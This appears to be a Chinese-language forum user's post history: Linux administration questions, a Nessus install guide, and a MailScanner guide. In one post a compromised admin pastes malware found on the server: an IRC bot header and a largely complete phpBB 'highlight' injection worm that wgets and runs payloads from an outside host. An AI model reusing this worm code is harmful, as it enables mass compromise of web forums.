    my $page = http_query($query);
    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"?>/g){
        if ($1 !~ m/msn|cache|hotmail/){
            push (@lst,$1);
        }
    }
   
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
        local $SIG{ALRM} = sub { die "1";};
        alarm 10;
        my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
        print $sock "GET $query HTTP/1.0\nHost: $host\nAccept: */*\nUser-Agent: Mozilla/4.0\n\n ";
        my @r = <$sock>;
        $page="@r";
        alarm 0;
        close($sock);
    };    
    return $page;

}

eval {fork and exit;};

my $iam=$ARGV[0];
my $oneday=time+3600;
my $page="";
my @urls;
my $url;






while(time<$oneday){
    @urls=fetch();
    foreach $url (@urls) {
        if ($url !~ /viewtopic.php/) {next;}
        $url =~ s/(.*\/viewtopic.php\?[t|p]=[0-9]+).*/$1/;
        my $cmd=encode("perl -e \"print q(jSVowMsd)\"");
        $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
        $page = http_query($url);
        if ( $page =~ /jSVowMsd/ ){
            $url =~ s/&highlight.*//;
            my $upload=$url;
            $upload =~ s/viewtopic.*//;
            $cmd=encode("$cmd");    # set cmd
            $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
            $page = http_query($url);
            $cmd=encode("$cmd");    # set cmd
            $url =~ s/&highlight.*//;
            $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
            $page = http_query($url);
        }

    }
}

11
系統安全討論版 / apache 2 安全實做
« 於: 2006-05-20 16:36 »
前陣子想升級apache 2,但因受限於Fedora Core 3的關係,
沒有更新的版本可升級,所以萌生了自行編譯的念頭。

我覺得這篇文章寫得很好,包括mysql, PHP,所以其實它是一系列的:

http://www.securityfocus.com/infocus/1786

有興趣的可以把它印下來,放在手邊當參考。

另外,也強烈建議大家,如果要增強系統安全的認知以及英文能力的話,
可以訂閱那家公司的maillist,最近就是看了他們的文章,才知道原來
RealVNC 4.1.1有安全大漏洞。

12
最近發現我維護的一個網站一直有這樣的存取訊息,而且非常頻繁:

代碼: [選擇]
66.91.56.7 - - [17/May/2006:15:27:38 +0800] "GET /poster/i-l/longestyard.JPG HTTP/1.1" 200 40073 "http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendID=15047703" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
不同的來源IP,但後面REFER的網址都差不多,
請問這是在幹嘛呢?看起來不像是真的在瀏覽我的網頁耶~

如果要針對REFER的內容作限制的話,我應該要怎麼作呢? 謝謝!

Fedora Core 3
Apache 2.0.53

13
雜七雜八 / 我好笨~搞不懂時區耶~
« 於: 2006-05-15 16:20 »
WEBCAST 1
WhatWorks in Log Management: "Judging Log Management with San Bernardino
County Superior Court"
Tuesday, May 16 at 1:00 PM EDT (1700 UTC/GMT)
Featuring: Kevin Arden & Alan Paller
https://www.sans.org/webcasts/show.php?webcastid=90681
Sponsored by: Prism Microsystems

這樣是台灣的幾月幾號幾點呢?

14
Linux 討論版 / Bind recursive queries
« 於: 2006-05-10 22:19 »
最近用NESSUS掃描,有一個問題一直搞不懂,我依照文件的建議
設定好acl了,但是卻搞得我的HTTP Virtual Server出問題,
不知道有沒有人針對這個弱點做過改善呢?

我的做法是,在named.conf最前面宣告:

acl my-nets {127.0.0.1/32; 59.xxx.xxx.0/24; };

然後在options裡面加一行:

allow-query { my-nets; };

這樣不妥嗎?

還是我在my-nets裡面的設定有問題呢?


引用
Synopsis :

The remote name server allows recursive queries to be performed
by the host running nessusd.


Description :

It is possible to query the remote name server for third party names.

If this is your internal nameserver, then forget this warning.

If you are probing a remote nameserver, then it allows anyone
to use it to resolve third parties names (such as www.nessus.org).
This allows hackers to do cache poisoning attacks against this
nameserver.

If the host allows these recursive queries via UDP,
then the host can be used to 'bounce' Denial of Service attacks
against another network or system.

See also :

http://www.cert.org/advisories/CA-1997-22.html

Solution :

Restrict recursive queries to the hosts that should
use this nameserver (such as those of the LAN connected to it).

If you are using bind 8, you can do this by using the instruction
'allow-recursion' in the 'options' section of your named.conf

If you are using bind 9, you can define a grouping of internal addresses
using the 'acl' command

Then, within the options block, you can explicitly state:
'allow-recursion { hosts_defined_in_acl }'

For more info on Bind 9 administration (to include recursion), see:
http://www.nominum.com/content/documents/bind9arm.pdf

If you are using another name server, consult its documentation.

Risk factor :

Medium / CVSS Base Score : 4
(AV:R/AC:L/Au:NR/C:N/A:N/I:P/B:I)
CVE : CVE-1999-0024
BID : 136, 678
Nessus ID : 10539

15
我想把mysql 3.23 升上去 4.1以上的版本,
不過,工程看來似乎太過浩大,
光是openssl就困難重重了,

不知有哪位前輩有這麼做過,還是可以提供一下撇步呢?

還我乾脆全部抓source回來,全部弄到/usr/local底下好了??

謝先~

16
換了工作之後就很少摸Linux了,
今天心血來潮想寫個支備份程式,卻意外發現主機被駭掉了,
這支程式大概有700多行,前幾行是這樣的:

代碼: [選擇]

#!/usr/bin/perl
my $processo = '/usr/local/sbin/httpd -DSSL';
my $linas_max='5';
my $sleep='5';
my @adms=("spart","hacked");
my @hostauth=("spart.gov","muie.gov");
my @canais=("#hor");
my $pwned="/tmp/horderd";
my $nick='FLaviu-';
my $ircname = 'spart';
chop (my $realname = 'uname -a');
$servidor='aiurea.sytes.net' unless $servidor;
my $porta='6667';

my $VERSAO = '0.2';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


還有一支,只能看,不能用。

我覺得很奇怪,到底要怎麼樣才可以像
這些駭客一樣辦到呢?

用現成的工具?
利用漏洞,怎麼個利用法?
就算每天修修補捕的,駭客好像想進來你的系統就,隨時可以進來似的。


代碼: [選擇]

#!/usr/bin/perl

use strict;
use IO::Socket;
use IO::Handle;

if (-e "/tmp/.eu1deiogringos") {exit;}

my $process = '/usr/sbin/httpd';
$0="$process"."\0"x16;;
my $pid=fork;


sub fetch();
sub remote($);
sub http_query($);
sub encode($);

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $s= (int(rand(1000)));
    if ($rnd>1000) { $s= (int(rand(200)))}
 
   

    my @str=(
             "%22%3A%3A+View%22+%22+Topic%22+2.0.4+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.5+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.6+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.7+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.8+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.9+",
             "%22%3A%3A+View%22+%22+Topic%22+2.0.10+",



 );

    my $query="search.msn.com.br/results.aspx?q=";
    $query.=$str[(rand(scalar(@str)))].$rnd;
    $query.="&first=$s";

    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"?>/g){
        if ($1 !~ m/msn|cache|hotmail/){
            push (@lst,$1);
        }
    }
   
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
        local $SIG{ALRM} = sub { die "1";};
        alarm 10;
        my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
        print $sock "GET $query HTTP/1.0\nHost: $host\nAccept: */*\nUser-Agent: Mozilla/4.0\n\n ";
        my @r = <$sock>;
        $page="@r";
        alarm 0;
        close($sock);
    };    
    return $page;

}

sub encode($) {
    my $s = shift;
    $s =~ s/(.)/"chr(".ord($1).")%252E"/seg;
    $s =~ s/%252E$//;
    return $s;
}



eval {fork and exit;};

my $iam=$ARGV[0];
my $oneday=time+3600;
my $page="";
my @urls;
my $url;

            $url =~ s/&highlight.*//;
            my $upload=$url;
            $upload =~ s/viewtopic.*//;
            $cmd="wget http://ddos.nikitosa.net.ru/myfiles/expl/linuxday.txt -O /tmp/.girl; wget http://ddos.nikitosa.net.ru/myfiles/expl/linuxdaybot.txt -O /tmp/.girl2; perl /tmp/.girl; perl /tmp/.girl2;";    # set cmd
            $cmd=encode("$cmd");    # set cmd
            $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
            $page = http_query($url);
$cmd="wget
http://ddos.nikitosa.net.ru/myfiles/expl/linuxdaybot.txt -O /tmp/.girl2; perl
/tmp/.girl2; touch /tmp/.eu1deiogringos;";
            $page = http_query($url);
        }

    }
}

17
Study-Area 公開討論版 / 我也投一票喔~
« 於: 2005-12-03 12:19 »
最近也在學Solaris,花了好久的時間裝了兩台起來,但是因為網路安裝一直設定不起來,就停了一陣子了。

拿光碟裝,實在太久了,我又沒有DVD可以用,所以才照著手冊想弄一台安裝伺服器,不過,每每到了tftp載入檔案時,就自動reboot了。

後來買了一本什麼"Solaris徹底研究的",我不是批評,只是,看完之後,我覺得好像看完一本介紹如何在Linux上面架設伺服器的書。

至於系統方面,我覺得新版的Java Desktop很屌,雖然很像Windows拉~不過
跟CDE比起來,漂亮多嚕~裝的時後記得把Companion CD那一片的東西也裝進去就可以看得到了。

初期當然也是要搞一下gcc拉~研究而已,不可能真的去買SUN的C compiler,
後來開始做些網路設定,看看SVC怎麼用之類的。

比如DHCP好了,跟以前在Linux上面地發行版本根本不一樣,看來應該是SUN自己改寫過的東西,不過,配合一下行介面,也還不難用。

因為常常會用JDS,所以我又另外裝了XManager這一套來用,原先我裝的X-Win32竟然不能正顯示中文,所以現在連到Solaris 10都是用XManager。

我猜啦~Xmanager應該是從Starnet分之出來的,長得好像,但是更好用!

上個禮拜辛苦把Oracle 10抓回來,也裝上了,雖然不是正統的裝法,但總算也裝起來了,現在正想用JDeveloper學JSP。

結論是,沒課可以上,其實也沒錢可以上啦,如果大家願意成立一個版來討論Solaris,當然很好,所以我也要投一票喔!!

18
Linux 討論版 / 還有人在用mailwatch嗎?
« 於: 2005-10-16 20:11 »
搞了半天,MailWatch的首頁沒有辦法顯示中文耶~

有沒有什麼技巧可以讓主旨或本文的部分出現中文呢?

謝謝!

比如說,我用outlook寄了一主旨為[測試]的信件,
mailwatch的資料庫會有這筆紀錄`:

Subject: =?big5?B?pKSk5bT6uNU=?=

可是在首頁的地方卻出現1而已,編碼的問題?或者可以用php的什麼函式
把主旨轉成中文呢?謝謝!

19
Linux 討論版 / phplot的安裝建議
« 於: 2005-09-25 19:30 »
弄了半天,從之前為了灌rrdtool就搞gd搞了半天,快被氣死,
原來Fedora就已經把套件弄好放在哪裡,我還在那邊辛苦的
查編譯過程的錯誤。

使用Fedora的人,只要去下載Fedora提供的php-gd套件來裝就好了。

裝這工具是為了提供snort將偵測之後的圖畫出來,除了需要php支援
gd之外,還要有jpgraph等等,對安裝有興趣的人可寫信給我,
因為我還沒整理,明天又要交一堆投影片,所以~ :D

在安裝phplot最重要的是,開個視窗來查看php執行後的錯誤,比如說:

tail -f /var/log/httpd/acid-error_log

剛剛一直笨笨的,虛擬伺服器裡面竟然把logLevel設定成emeg,
想到之後,改成warn,照著出現的錯誤訊息去除錯,沒兩下就好了~

這是我的錯誤,還好已經排解了:

[client 1.2.3.4] PHP Warning:  main(/var/www/html/acid/phplot/phplot.php): failed to open stream: Permission denied in /var/www/html/acid/phplot/examples/inline_image.php on line 20, referer: http://1.2.3.4/phplot/examples/test_setup.php

是的,只是權限的問題,唉~
浪費太多時間了,真的重要的rule都還沒去察看,搞這gd跟phplot就夠了~

順便問一下,有人加入snort的會員嗎??

20
前言

最近很倒楣,兩三台客戶的主機莫名其妙被駭掉了,輕一點的是上層單位發信通告,
重一點的,還有網路刑事警察寄來的公文,當然,還聽過FBI發出的警告。

說實在的,系統帳號的密碼就算設得很複雜,防火牆規則看起來也挺嚴密的,駭客
總是有辦法侵入,高明的也就算了,因為實在太強了,但是如果變成人家練功的對象,
就會給它很肚爛了。

裝完nessus,不代表主機就不會被駭了,但至少,身為系統管理員,深度了解作業
系統的潛在問題,卻是刻不容緩的,不是嗎?

Nessus計畫已研發多年,集眾人之力提供各作業平台一個強而有利的弱點掃描引擎:

引用
Nessus is the world's most popular open-source vulnerability scanner used
in over 75,000 organizations world-wide. Many of the world's largest
organizations are realizing significant cost savings by using Nessus to
audit business-critical enterprise devices and applications.

The "Nessus" Project was started by Renaud Deraison in 1998 to provide to
the internet community a free, powerful, up-to-date and easy to use remote
security scanner. Nessus is currently rated among the top products of its
type throughout the security industry and is endorsed by professional
information security organizations such as the SANS Institute. It is
estimated that the Nessus scanner is used by 75,000 organizations world-wide.


很多英文介紹,重點只有一個:趕快把它裝起來!

基本需要的檔案:
引用
   nessus-libraries-x.x.tar.gz
   libnasl-x.x.tar.gz
   nessus-core.x.x.tar.gz
   nessus-plugins.x.x.tar.gz

以上檔案請自行到官方網站抓取:

   http://www.nessus.org/download/index.php

依序安裝,不然會有錯誤。

一、基本安裝步驟(文字模式下的掃描-不使用圖形介面的工具)

   1. nessus-libraries
   
      [root@www] ./configure --prefix=/usr
      [root@www] make && make install
   我是比較懶啦,把預設安裝目錄指定成--prefix=/usr,就可以省掉其他參數設定,所以,如果你只有輸入./configure,沒有指定prefix,目錄會變成/usr/local/lib,所以要改一下/etc/ld.so.conf,把/usr/local/lib加到最後一行,然後執行:

      [root@www] ldconfig
   
   
   2. libnasl
   
      [root@www] ./configure --prefix=/usr
      [root@www] make && make install
   
   如果用預設安裝,目錄會變成/usr/local/lib,因此加上這個參數設定:
   
   [root@www] export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib)
如果想每次登入都會生效,就把這行加到.bash_profile裡面
   
   
   3. nessus-core
   
      [root@www] ./configure --prefix=/usr --disable-gtk
      [root@www] make && make install
   
   4. nessus-plugins
      [root@www] ./configure --prefix=/usr
      [root@www] make;make install
   
   這樣就全部裝好啦!


二、安裝之後的設定
   
   1. 首先新增一個nessus專用的憑證:
   
   [root@www ]# nessus-mkcert
   /usr/var/nessus/CA created
   /usr/com/nessus/CA created
   -------------------------------------------------------------------------------
                           Creation of the Nessus SSL Certificate
   -------------------------------------------------------------------------------
   
   This script will now ask you the relevant information to create the SSL
   certificate of Nessus. Note that this information will *NOT* be sent to
   anybody (everything stays local), but anyone with the ability to connect to your
   Nessus daemon will be able to retrieve this information.
   
   在這邊輸入相關資料
   CA certificate life time in days [1460]:---------------------預設
   Server certificate life time in days [365]:------------------預設
   Your country (two letter code) [FR]: TW----------------------隨你
   Your state or province name [none]: TAIWAN-------------------隨你
   Your location (e.g. town) [Paris]: TAICHUNG------------------隨你
   Your organization [Nessus Users United]: ROICAT--------------隨你
   
   
   輸入完畢,程式會恭喜你一下:
   -------------------------------------------------------------------------------
                           Creation of the Nessus SSL Certificate
   -------------------------------------------------------------------------------
   
   Congratulations. Your server certificate was properly created.
   
   /usr/etc/nessus/nessusd.conf updated
   
   The following files were created :
   
   . Certification authority :
      Certificate = /usr/com/nessus/CA/cacert.pem
      Private key = /usr/var/nessus/CA/cakey.pem
   
   . Nessus Server :
       Certificate = /usr/com/nessus/CA/servercert.pem
       Private key = /usr/var/nessus/CA/serverkey.pem
   
   Press [ENTER] to exit
   
   
   2. 再來新增一個可登入nessus的帳號:
   
   [root@www ]# nessus-adduser
   
   Addition of a new nessusd user
   ------------------------------
   
   Login : renaud -------------------------------帳號名稱
   Authentication (pass/cert) [pass] : pass------選擇使用密碼認證
   Password : secret-----------------------------,總共要輸入兩遍,別忘了~
   
   User rules
   ----------
   nessusd has a rules system which allows you to restrict the hosts
   that renaud2 has the right to test. For instance, you may want
   him to be able to scan his own host only.
   
   Please see the nessus-adduser ( 8 ) man page for the rules syntax
   
   Enter the rules for this user, and hit ctrl-D once you are done :
   (the user can have an empty rules set)
   這個時候可以輸入你要的限制規則,如果不想設定,只要按ctrl-D就行了。
   
   底下三行是範例:
   deny 10.163.156.1
   accept 10.163.156.0/24
   default deny
   
   Login            : renaud
   Password         : secret
   DN       :
   Rules            :
   
   deny 10.163.156.1
   accept 10.163.156.0/24
   default deny
   
   問你以上資料對不對,對的話,輸入y然後 [enter] 就好啦~
   
   Is that ok (y/n) ? [y] y
   
   這次就沒有恭喜你了:
   user added.
   
   3. 啟動nessus server
   很簡單,只要你安裝的時候都有指定/usr那個目錄的話,只要輸入:
   
   [root@www ]# nessusd -D
   
   啟動之後,檢查一下有沒有正常啟動:
   
   [root@www ]# netstat -ant | grep 1241
   
   有這行就表示你成功啟動nessus伺服器了:
   tcp   0  0 0.0.0.0:1241    0.0.0.0:*    LISTEN
你可以不要用這個port,參考一下說明檔,把port改到別的地方。
   
   4. 開刀啦!

                不要一開始就去掃描別人的主機,不然可能會被當作駭客。

   先建立一個文字檔,裡頭包含你要掃描的ip或ip範圍,如:
   
      建立一個檔案:
      /root/ip-list
      
      內容如下:
      127.0.0.1
      192.168.1.0/24
   
   然後呢,因為會跑很久,如果你用putty等軟體,建議你先執行一下
   
      [root@www ]# screen
   
   如果有版權宣告,按一下[ENTER]就會回到terminal底下,注意你的
   視窗左上角會變成:
   
      [screen 0: bash] root@www:~
   
   接著輸入:
   
      [root@www ]# nessus -q -V -T html_graph localhost 1241 tony \
            yourpassword ip-list nessus-report.html
      
   開始掃描之後,你就可以先離開啦:
   
      先按ctrl + a
      然後按一下 d
      
   正常的話,你就會回到原本的那個Terminal底下,如果不放心的話,輸入:
   
      [root@www ]# screen -ls
      There is a screen on:
              3308.pts-0.www  (Detached)
      1 Socket in /tmp/screens/S-root.
   
      
   想回去剛剛分離的Terminal,那就輸入:
   
      [root@www ]# screen -r
   
   5. 解讀nessus產生的報告:
   
   把掃描完的檔案拉回你的電腦,用瀏覽器打開,就可以清楚的看到弱點偵測的報告嚕~
   趕快依照裡面的建議,把系統的漏洞修補起來。
   

三、安裝圖形化支援的nessus

常用Linux作業系統的人,好像都不太愛裝x-window,其實,用nessus的圖形介面
也蠻方便的說,對於沒有windows的人來說,用不著裝一整套的XFree86,只是,
安裝過程給它很麻煩就是了。

1. 抓檔案:
wget ftp://rpmfind.net/linux/fedora/core/updates/1/i386/XFree86-libs-data-4.3.0-55.i386.rpm
wget ftp://rpmfind.net/linux/fedora/core/updates/1/i386/XFree86-libs-4.3.0-55.i386.rpm
wget ftp://rpmfind.net/linux/fedora/core/updates/1/i386/XFree86-devel-4.3.0-55.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/fontconfig-devel-2.2.3-5.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/freetype-devel-2.1.9-1.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/pango-devel-1.6.0-7.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/atk-devel-1.8.0-2.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/glib2-devel-2.4.7-1.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/glib2-2.4.7-1.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/gtk2-2.4.13-9.i386.rpm
wget http://ftp.isu.edu.tw/pub/Linux/Fedora/linux/core/3/i386/os/Fedora/RPMS/gtk2-devel-2.4.13-9.i386.rpm

上面是有順序性的,所以,如果你的系統當初安裝時就沒有這些套件的話,請依序安裝。
當然,你可以直接把wget改成rpm -Uvh,這樣就省了一個步驟,只是如果出現套件相依問題時,
就比較麻煩了。

XFree86的三個套件不是最新的,如果你的系統已經存在xwindow,請不要蓋掉你原本的套件,
試著反序安裝回去,比如說,先抓gtk2-devel-2.4.13-9.i386.rpm回來安裝,然後按照
RPM的指示,再去找相關的套件回來用。

例如:

[root@www nessus]# rpm -ivh gtk2-devel-2.4.13-9.i386.rpm
warning: gtk2-devel-2.4.13-9.i386.rpm: V3 DSA signature: NOKEY, key ID 4f2a6fd2
error: Failed dependencies:
        XFree86-devel is needed by gtk2-devel-2.4.13-9.i386
        atk-devel >= 1.6.0-1 is needed by gtk2-devel-2.4.13-9.i386
        glib2-devel >= 2.4.0-1 is needed by gtk2-devel-2.4.13-9.i386
        pango-devel >= 1.4.0-1 is needed by gtk2-devel-2.4.13-9.i386

那你就可以按照它顯示出來的套件全裝好,再裝gtk2-devel-2.4.13-9.i386

所有檔案,可以到http://rpmfind.org/找找看,或到義守大學http://ftp.isu.edu.tw/找。


2. 重新編譯一次nessus-core

   [root@www nessus]# ./configure --prefix=/usr --enable-gtk --with-x
   [root@www nessus]# make&&make install
   
3. 啟動nessus server

   [root@www nessus]# nessusd -D

4. 啟動用戶端:
   4-1 直接在x-windows下執行:
      
      開一個終端顯示,然後輸入:
      
         [root@www nessus]# nessus &
      
      正常的話,就會跳出一個登入的畫面,然後只要輸入正確帳號密碼,即可登入。
      
   4-2 把畫面丟到windows作業系統:
   
   你需要安裝xwin32,可以到這邊下載:
   
      http://www.starnet.com/
      
      註冊之後,你會收到一封下載通知,然後按照指示下載就好了,因為是試用版,
      所以每次只有30分鐘的使用時間,時間到了,就要重新啟動。
      安裝好之後,只要點兩下把它啟動就好了,不用特別設定。
      
   4-3 進入nessus server
   
   使用putty或相關的ssh軟體,telnet應該也可以吧?好久不用telnet了:
   
      [root@www nessus]# export DISPLAY=你的windows的IP:0.0
      如:
      [root@www nessus]# export DISPLAY=210.95.8.88:0.0
      
      接著,還是一樣,輸入:
      
      [root@www nessus]# nessus &
      
      等一下下,如果你是透過Internet的話,時間會比較久,然後,
      一樣的登入畫面就會出現啦~
      
四、結論

常常遇到莫名其妙的入侵事件,也不知道自己的作業系統夠不夠牢固,藉著nessus
就至少可以清楚的知道自己的主機有哪些尚未修補起來的漏洞,好比說,今天我才
知道,原來libtiff那個看起來不起眼的套件,竟然也暗藏殺機啊~

所以囉~沒事就跑跑nessus,檢查一下自己的主機,定時做更新,做好平常的防護,
把主機被駭客入侵的危險性降到最低。

預防重於重灌啊!

21
最近嚐試把檔案備份到網路上的某個samba分享目錄,
結果,傳到一半,就因為2Gb的限制而停止了,
後來我試著去/etc/security/limits.conf修改,可是,
好像也沒有幫助,2GB就停了,請問該怎麼處理呢?

我現在加的一行是這樣的:

#*               soft    core            0
#*               hard    rss             10000
#@student        hard    nproc           20
#@faculty        soft    nproc           20
#@faculty        hard    nproc           50
#ftp             hard    nproc           0
#@student        -       maxlogins       4
root             hard    fsize           0
# End of file

是不是我設定有誤呢?

22
是這樣的,小弟想開一個共用目錄,然後在每個user的webdisk檔案夾,
建立一個連結,可是,好像只要超過了/home/~之後,連結就不能使用了說?

比如說,我在/底下開一個叫做share的檔案夾,然後在/home/fz150n
建立一個/share的連結,比如說:

# ln -s /share /home/fz150/webdisk/share

可是,當我登入openwebmail的webdisk之後,那個連結是看不到的?

這個功能能達成嗎?

23
先前在Fedora Core 2上面安裝Openwebmail 2.41,一切都好好的,
結果,最近幫朋友安裝FC3加上Openwebmail 2.5之後,就沒有辦法
收取外部pop3,目前已經改用fetchmail來替代。

我試著用tcpdump看看按下"收取外部信件"的按鈕時,是否有動作,
結果是有的,但是看來只有跟遠端pop3伺服器"溝通",並沒有真的
把信抓回來。

另外,Openwebmail動不動就會出現Internal server error,只要
reload一下網頁,又可以正常顯示了。

還有,照先前在README提的方法安裝好speedy_suidperl之後,
無法啟用speedy_suidperl的功能說~

請問有人也遇到相同的問題嗎?

還是灌FC2好了?

24
我的環境是 raid-5 5+1 磁碟陣列,(Mylex DAC960)
在Linux底下,只見得到/dev/rd/c0d0 or /dev/rd/c0d0pX等等裝置,
這樣的情形,還可以用SMART作簡單的監控嗎?

我把Smartmontool5.3安裝在其他單純scsi hard drive的機器,
做了簡單的硬碟狀況回報,但是,這種/dev/rd/c0d0的裝置,
smartmontool就好像不支援了?

除了直接巡機房之外,
是否有可以監控磁碟陣列裡面每顆硬碟狀態的工具呢?

我找了好久,是否有人可以稍稍只點一下,哪裡可以找到這樣的工具呢?

謝謝!

25
先前有一位前輩寫了一個Script,
就是遇到有人用莫名其妙登入你的主機時,
會馬上發信給兩個使用者,
請問有人知道這篇文章還在嗎?

謝謝~

註:因為我忘了他放在那裡......對不起.....當作灌水好了.....

26
這幾天買了書來學OPENLDAP,旗標出版的,我按照書上的指示,
全安裝好了,結果,除了root之外,竟然沒有辦法登入?
剛剛我把/etc/pam.d/system-auth裡面的幾行註解掉了,
結果就能照平常的帳號密碼登入FEDORA,所以,
可不可以請大家告訴小弟,該怎麼設定,才能在登入console
的時候,正常的配合OpenLDAP認證呢?
謝謝!
#%PAM-1.0
# This file is auto-generated.
# User changes will be destroyed the next time authconfig is run.
auth        required      /lib/security/$ISA/pam_env.so
auth        sufficient    /lib/security/$ISA/pam_unix.so likeauth nullok
#auth        sufficient    /lib/security/$ISA/pam_ldap.so use_first_pass
auth        required      /lib/security/$ISA/pam_deny.so

account     sufficient    /lib/security/$ISA/pam_succeed_if.so uid < 100
account     required      /lib/security/$ISA/pam_unix.so
#account     [default=bad success=ok user_know=ignore service_err=ignore system_err=ignore] /lib/security/$ISA/pam_ldap.so

password    requisite     /lib/security/$ISA/pam_cracklib.so retry=3
password    sufficient    /lib/security/$ISA/pam_unix.so nullok use_authtok md5 shadow
#password    sufficient    /lib/security/$ISA/pam_ldap.so use_authtok
password    required      /lib/security/$ISA/pam_deny.so

session     required      /lib/security/$ISA/pam_limits.so
session     required      /lib/security/$ISA/pam_unix.so
#session     optional      /lib/security/$ISA/pam_ldap.so :(

27
不是灌水~ :D

實在是想說,或許版上的人不一定都會習慣上TANet的Linux版,
所以,小弟把先前在BBS貼的文章,轉了過來,希望能提供
給這方面有興趣的人參考。

-------------------------------------------------------------------
發信人: fz150@cis_nctu (帥帥達), 信區: 'Linux'
標  題: Re: MailScanner安裝心得---Part-I
發信站: 交大資科_BBS (Tue Sep  7 23:44:16 2004)
來  源: 220-141-34-239.dynamic.hinet.net

今天才發現根本沒說使用的是什麼系統,
所以除了補充我的硬體環境之外,並增加了一些下載連結,因為,
今天試著連結過去下載時,只要是sourceforge.org的,大部分都
不能直接抓,所以我把Project的網址也貼進來。

安裝系統:RedHat Fedora Core2

測試主機:
ASUS P4B
512 Mb SDRAM
P4 2.4GHz
15 Gb ATA-100 HDD(其他兩個ATA-133是Windows作業系統)

另外,我將我的perl modules列了出來,希望可以提供參考:

以RPM安裝的module :

perl-URI-1.30-1
perl-HTML-Tagset-3.03-29
perl-XML-Parser-2.34-2
perl-libxml-enno-1.02-30
perl-MailTools-1.50-1
perl-Archive-Zip-1.13-1
perl-Compress-Zlib-1.33-4
perl-5.8.3-18
perl-DBI-1.40-4
perl-DBD-MySQL-2.9003-4
perl-DateManip-5.42a-1
perl-HTML-Parser-3.35-5
perl-libwww-perl-5.79-1
perl-libxml-perl-0.07-29
perl-XML-Encoding-1.01-25
perl-Net-CIDR-0.09-3
perl-TimeDate-1.1301-3
perl-MIME-tools-5.411-pl4.3
perl-Convert-BinHex-1.119-2
perl-Parse-RecDescent-1.94-3
perl-suidperl-5.8.3-18.1
perl-Filter-1.30-5
perl-Parse-Yapp-1.05-31
perl-XML-Dumper-0.71-1
perl-DBD-Pg-1.31-5
perl-IO-stringy-2.108-1
perl-Convert-TNEF-0.17-1
perl-Text-Iconv-1.2-fc2

以CAPN安裝的模組:

Authen::SASL
DBD::mysql
Net::LDAP
CGI::SpeedyCGI
Convert::ASN1
Digest::BubbleBabble
Digest::HMAC
Digest::SHA1
Gaim
Inline
Mail::ClamAV
Mail::SpamAssassin
Net::DNS
Net::SSLeay
Pod::Escapes
Pod::Simple
Razor2::Client::Agent
Test::Builder::Tester
Test::Pod
XML::SAX::Base

-----------------------------------------------------------------------
1. 安裝MailScaner主程式:
http://www.sng.ecs.soton.ac.uk/mailscanner/files/4/tar/MailScanner-install-4.33.3-1.tar.gz
tar xzvf MailScanner-4.33.3-1.rpm.tar.gz
進入解壓縮後的目錄,執行:

./install.sh

接著,請執行下面指令,往後不需直接啟動Sendmail,
因為MailScanner會自行呼叫sendmail。
(請勿直接啟動sendmail)

service sendmail stop
chkconfig sendmail off
chkconfig --level 2345 MailScanner on
service MailScanner start

建議等相關軟體安裝完畢再啟動MailScanner,
先啟動也無所謂,等裝好要測試了,就輸入:
/etc/init.d/MailScanner restart

2. 安裝Spamassassin 3.0(或2.64)

Spamassassin 2.64是目前最穩定的版本,因為我想,既然要測試,
乾脆就拉新版的來裝,如果您急於上線測試,裝2.64就好。

先安裝Digest-SHA1-2.10.tar.gz

http://search.cpan.org/CPAN/authors/id/G/GA/GAAS/Digest-SHA1-2.10.tar.gz

tar xzvf Digest-SHA1-2.10.tar.gz
cd Digest-SHA1-2.10
perl Makefile.PL
make
make install
(先別把目錄刪除,因為等會安裝razor-agents-2.61時,需要重新來一次)

接著安裝Spamassassin 3.0
tar xzvf Mail-SpamAssassin-3.0.0-rc2.tar.gz
perl Makefile.PL

如果出現任何錯誤,如某個module::name找不到,
